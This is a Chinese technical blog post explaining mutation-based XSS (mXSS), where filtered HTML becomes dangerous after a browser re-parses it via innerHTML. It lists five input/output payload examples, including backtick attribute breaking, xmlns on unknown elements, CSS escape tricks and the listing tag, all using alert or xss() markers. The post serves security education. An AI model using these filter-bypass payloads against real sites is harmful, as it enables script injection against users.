杨文坚

1年前
  • 1468

    浏览
  • 0

    评论
  • 0

    收藏

mXSS简述

本文作者:imweb 杨文坚 原文出处:imweb社区 未经同意,禁止转载

因为没啥好讲,就说一下mXSS

ABSTRACT

不论是服务器端或客户端的XSS过滤器,都认定过滤后的HTML源代码应该与浏览器所渲染后的HTML代码保持一致,至少不会出现很大的出入。然而,如果用户所提供的富文本内容通过javascript代码进属性后,一些意外的变化会使得这个认定不再成立:一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进后发生意外变化(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation),而最终导致XSS的攻击流程,被称为突变XSS(mXSS, Mutation-based Cross-Site-Scripting)。

下面将举几个mXSS的例子,以供欣赏。

反引号打破属性边界导致的 mXSS

2007被最早提出来的mXSS,该问题再绝大多数浏览器不再重现:

  • input
<img src="test.jpg" alt ="``onload=xss()" />
  • output
<IMG alt =``onload=xss() src ="test.jpg">

未知元素中的 xmlns 属性所导致的 mXSS

一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。可以通过设置这些标签的xmlns 属性,让浏览器知道这些未知的标签是的XML命名空间是什么。但解释后却产生了突变:

  • input
<pkav xmlns="><iframe onload=alert(1)">123</pkav>
  • ouput
<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe onload=alert(1)" /><pkav xmlns="><iframe onload=alert(1)">123</pkav>

CSS中反斜线转义导致的mXSS

css中允许使用\来进行转义,但在在一起的时候,悲剧就产生了。

  • input
<p style="font-family:'ar\27 \3bx\3a expression\28xss\28\29\29\3bial';"></p>
  • output
<P style="FONT-FAMILY: 'ar';x:xss());ial'"></P>

CSS属性名中的转义所导致的mXSS

\22转义后产生的悲剧。

  • input
<img src=1 style="font-fam\22onerror\3d alert\28 1\29\20 ily:'aaa';">
  • output
<IMG style="font-fam"alert(1) ily: ''" src="1">

Listing标签导致的mXSS

Listing标签里面的东东会发生些奇葩事情:

  • input
<listing><img src=1 onerror=alert(1) &</listing>
  • output
<LISTING><img src=1 onerror=alert(1) ></LISTING>
0 条评论